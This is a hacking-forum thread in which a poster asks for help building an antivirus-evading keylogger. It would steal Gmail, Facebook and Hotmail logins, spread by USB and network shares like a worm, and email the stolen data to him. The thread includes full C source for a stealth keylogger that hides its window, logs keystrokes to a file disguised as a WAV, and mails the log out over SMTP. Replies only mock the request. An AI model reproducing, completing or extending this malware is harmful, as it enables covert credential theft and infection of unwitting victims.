[Dracker]

Friends'm having some ideas for smart keylogger that will hinder antivirus identify him.

I'm wanting a keylogger that captures only specific areas of areas of login and passwords for websites, without becoming capturing everything that is typed on the computer. just the same as specific interests. So will not get enxendo our inbox and only what matters.

example:
Say the keylogger this link configured GMAIL, FACEBOOK, HOTMAIL
Let's say the victim opened the browser and went on FACEBOOK at this time the keylogger captures and sends the information captured in email. But the capture function will be disabled FACEBOOK for 2 hours. Keeping active and Gmail that he has not entered. After it enters the GMAIL keylogger will capture the information and email it, done it the keylogger will disable the capture function Gmail for 2 hours. And keeping active Hotmail has not yet entered. and so on.

This will cause the Antivirus will not be able to read the process that is being executed because the function is disabling fast and not giving him time to read.

but the continued active Keylogger in invisible mode and restarting in windows.
causing in turn win8 and win7 32 and 64bit.

And also with the function to receive the information captured in two emails that an email would be the main and the other to receive copies


Example: see below as it should arrive in the mail.

MAC: 080027B2317D
PC: PC-root1
LINK: https: //www.facebook.com/
LOGIN: victim@Facebook.com
PASSWORD: ********** //password-of-the-victim

MAC: 080042B2518C
PC: PC-root2
LINK:https://accounts.google.com/ServiceLogin?service=mail&passive=true&rm=false&continue=https://mail.google.com/mail/&ss=1&scc=1&ltmpl=default&ltmplcache=2&emr=1
LOGIN: user-gmail
PASSWORD: ********** //password-of-the-victim

MAC: 080042B2518C
PC: PC-root2
LINK:https://login.live.com/login.srf?wa=wsignin1.0&rpsnv=12&ct=1409214848&rver=6.4.6456.0&wp=MBI_SSL_SHARED&wreply=https:%2F%2Fmail.live.com%2Fdefault.aspx&lc=1046&id=64855&mkt=pt-br&cbcxt=mai
LOGIN: user-gmail
PASSWORD: ********** //password-of-the-victim

I know that these functions need to be captured into the source code of each target site and take the form of each to be able to set the Keylogger.

Now I do not know if you can do it be activated by Link or Title. Knew browsers are blocking this function to not be active for Link.
And here in Brazil it seems that everyone is supposed to be activated by setting the Title page.

I was also wanting a function to it infects the pendrive and after this pendrive is plugged into another computer it automatically infects the victim's machine without her knowing.

and another function I would really like is for the function to spread on local network like a worm to spread it automatically in the shared folders and auto run.

Would love if someone can help me with this code source that has these functions that look so I can begin to increase and set up new pages. if anyone can help me I will thank.

/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* *
* File: keymail.c Ver. 0.7 *
* *
* Purpose: a stealth (somewhat) key logger, writes to a log file then sends *
* and email to whoever is set in the #define options at compile time. *
* This code is for educational uses, don't be an ass hat with it. *
* White Scorpion (www.white-scorpion.nl) did the initial work on the key *
* logger, but he has gone on to bigger and better things. *
* This version was crafted by Irongeek (www.Irongeek.com), who tacked on *
* some code to make it send emails, along with a few other changes. *
* If some of the code is crappy, blame Irongeek and not White Scorpion. *
* Please send Irongeek improvements and he will post the changes and give you *
* credit for your contributions. *
* *
* This program is free software; you can redistribute it and/or *
* modify it under the terms of the GNU General Public License *
* as published by the Free Software Foundation; either version 2 *
* of the License, or (at your option) any later version. *
* *
* This program is distributed in the hope that it will be useful, *
* but WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *
* GNU General Public License for more details. *
* *
* You should have received a copy of the GNU General Public License *
* along with this program; if not, write to the Free Software *
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. *
* *
* Change log: *
* 1/3/06 On Ed Rguyl's recommendation I changed how malloc was used. *
* 6/22/06 Added the date and time functionality using ctime and fixed *
* a bug where subject was being defined twice.(ThVoidedLine) *
* *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
/*
Compile notes: I used Dev-C++ 4.9.9.2 to compie this. if you get an error like:
Linker error] undefined reference to `WSAStartup@8'
Add this:
-lws2_32
to Tools->Compiler Options under the section on compile flags.
*/

#include <windows.h>
#include <stdio.h>
#include <winuser.h>
#include <windowsx.h>
#include <time.h>
int MailIt (char *mailserver, char *emailto, char *emailfrom,
char *emailsubject, char *emailmessage);
#define BUFSIZE 800
#define waittime 500
/*If you don't know the mail exchange server for an address for the following
"nslookup -querytype=mx gmail.com" but replace gmail.com with the domain for
whatever email address you want. YOU MUST CHANGE THESE SETTINGS OR
IT WILL NOT WORK!!! */
#define cmailserver "gmail-smtp-in.l.google.com"
#define cemailto "email-to"
#define cemailfrom "email-from"
#define LogLength 100
#define FileName "sound.wav"
#define SMTPLog "ring.wav"
#define cemailsubject "Logged"

int test_key(void);
int main(void)
{
//Uncomment the lines below to put the keylogger in stealh mode.
HWND stealth; /*creating stealth */
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);

{FILE *file;
file=fopen(FileName,"a+");
time_t theTime=time(0);
fputs("\nStarted logging: ", file);
fputs(ctime(&theTime),file);
fclose(file);
}

/* if (test==2)
{//the path in which the file needs to be
char *path="c:\\%windir%\\svchost.exe";
create=create_key(path);
} */

int t=get_keys();
return t;
}

int get_keys(void)
{
int freadindex;
char *buf;
long len;
FILE *file;
file=fopen(FileName,"a+");


short character;
while(1)
{
sleep(10);/*to prevent 100% cpu usage*/
for(character=8;character<=222;character++)
{
if(GetAsyncKeyState(character)==-32767)
{
FILE *file;
file=fopen(FileName,"a+");
if(file==NULL)
{
return 1;
}
if(file!=NULL)
{
if((character>=39)&&(character<=64))
{
fputc(character,file);
fclose(file);
break;
}
else if((character>64)&&(character<91))
{
character+=32;
fputc(character,file);
fclose(file);
break;
}
else
{
switch(character)
{
case VK_SPACE:
fputc(' ',file);
fclose(file);
break;
case VK_SHIFT:
fputs("\r\n[SHIFT]\r\n",file);
fclose(file);
break;
case VK_RETURN:
fputs("\r\n[ENTER]\r\n",file);
fclose(file);
break;
case VK_BACK:
fputs("\r\n[BACKSPACE]\r\n",file);
fclose(file);
break;
case VK_TAB:
fputs("\r\n[TAB]\r\n",file);
fclose(file);
break;
case VK_CONTROL:
fputs("\r\n[CTRL]\r\n",file);
fclose(file);
break;
case VK_DELETE:
fputs("\r\n[DEL]\r\n",file);
fclose(file);
break;
case VK_OEM_1:
fputs("\r\n[;:]\r\n",file);
fclose(file);
break;
case VK_OEM_2:
fputs("\r\n[/?]\r\n",file);
fclose(file);
break;
case VK_OEM_3:
fputs("\r\n[`~]\r\n",file);
fclose(file);
break;
case VK_OEM_4:
fputs("\r\n[ [{ ]\r\n",file);
fclose(file);
break;
case VK_OEM_5:
fputs("\r\n[\\|]\r\n",file);
fclose(file);
break;
case VK_OEM_6:
fputs("\r\n[ ]} ]\r\n",file);
fclose(file);
break;
case VK_OEM_7:
fputs("\r\n['\"]\r\n",file);
fclose(file);
break;
case 187:
fputc('+',file);
fclose(file);
break;
case 188:
fputc(',',file);
fclose(file);
break;
case 189:
fputc('-',file);
fclose(file);
break;
case 190:
fputc('.',file);
fclose(file);
break;
case VK_NUMPAD0:
fputc('0',file);
fclose(file);
break;
case VK_NUMPAD1:
fputc('1',file);
fclose(file);
break;
case VK_NUMPAD2:
fputc('2',file);
fclose(file);
break;
case VK_NUMPAD3:
fputc('3',file);
fclose(file);
break;
case VK_NUMPAD4:
fputc('4',file);
fclose(file);
break;
case VK_NUMPAD5:
fputc('5',file);
fclose(file);
break;
case VK_NUMPAD6:
fputc('6',file);
fclose(file);
break;
case VK_NUMPAD7:
fputc('7',file);
fclose(file);
break;
case VK_NUMPAD8:
fputc('8',file);
fclose(file);
break;
case VK_NUMPAD9:
fputc('9',file);
fclose(file);
break;
case VK_CAPITAL:
fputs("\r\n[CAPS LOCK]\r\n",file);
fclose(file);
break;
default:
fclose(file);
break;
}
}
}
}
}
FILE *file;
file=fopen(FileName,"rb");
fseek(file,0,SEEK_END); //go to end
len=ftell(file); //get position at end (length)
if(len>=LogLength) {
fseek(file,0,SEEK_SET);//go to beg.
buf=(char *)malloc(len);//malloc buffer
freadindex=fread(buf,1,len,file);//read into buffer
buf[freadindex] = '\0';//Extra bit I have to add to make it a sting
MailIt( cmailserver, cemailto, cemailfrom, cemailsubject, buf);
fclose(file);
file=fopen(FileName,"w");
}

fclose(file);
//free (buf);

}
return EXIT_SUCCESS;
}

int MailIt (char *mailserver, char *emailto, char *emailfrom,
char *emailsubject, char *emailmessage) {
SOCKET sockfd;
WSADATA wsaData;
FILE *smtpfile;

#define bufsize 300
int bytes_sent; /* Sock FD */
int err;
struct hostent *host; /* info from gethostbyname */
struct sockaddr_in dest_addr; /* Host Address */
char line[1000];
char *Rec_Buf = (char*) malloc(bufsize+1);
smtpfile=fopen(SMTPLog,"a+");
if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {
fputs("WSAStartup failed",smtpfile);
WSACleanup();
return -1;
}
if ( (host=gethostbyname(mailserver)) == NULL) {
perror("gethostbyname");
exit(1);
}
memset(&dest_addr,0,sizeof(dest_addr));
memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);

/* Prepare dest_addr */
dest_addr.sin_family= host->h_addrtype; /* AF_INET from gethostbyname */
dest_addr.sin_port= htons(25); /* PORT defined above */

/* Get socket */

if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
perror("socket");
exit(1);
}
/* Connect !*/
fputs("Connecting....\n",smtpfile);

if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
perror("connect");
exit(1);
}
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"helo me.somepalace.com\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"MAIL FROM:<");
strncat(line,emailfrom,strlen(emailfrom));
strncat(line,">\n",3);
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"RCPT TO:<");
strncat(line,emailto,strlen(emailto));
strncat(line,">\n",3);
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"DATA\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
sleep(waittime);
strcpy(line,"To:");
strcat(line,emailto);
strcat(line,"\n");
strcat(line,"From:");
strcat(line,emailfrom);
strcat(line,"\n");
strcat(line,"Subject:");
strcat(line,emailsubject);
strcat(line,"\n");
strcat(line,emailmessage);
strcat(line,"\r\n.\r\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"quit\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
fclose(smtpfile);
#ifdef WIN32
closesocket(sockfd);
WSACleanup();
#else
close(sockfd);
#endif
}


Did this put a keylogger in C # and is running cool
but the only thing you can not take is the security warning so
I am asking for help to do this in only the C language

Who has the good sense not to criticize because the only specialty I have is
Develop attacks on systems and programming'm too weak need help.


Skype: DrackerHacker

I'm waiting Att: Dracker

[1234hotmaster]

How is it in invisible mode if its running?

[The Real Slim Shady]

How is it in invisible mode if its running?

The whole posts sounds stupid / very unclear... and the OP appears to have no real knowledge on the subject. Like sending the MAC address - totally useless data.

[Dracker]

The friend is the MAC address for me to know if the information is coming from the same machine because a lot of people that accesses a machine in a business or residence.
the last time I did a Server to Server trough was a MAC address used to access the VPN from a Bank. And a guy like you who has no sense saying that I do not know what I do. can do a good challenge or a help another that is what I'm looking for here, helping and being helped

Sera manja someone to help me with what I need?

[1234hotmaster]

The friend is the MAC address for me to know if the information is coming from the same machine because a lot of people that accesses a machine in a business or residence.
the last time I did a Server to Server trough was a MAC address used to access the VPN from a Bank. And a guy like you who has no sense saying that I do not know what I do. can do a good challenge or a help another that is what I'm looking for here, helping and being helped

Sera manja someone to help me with what I need?

You do know mac addresses can be changed?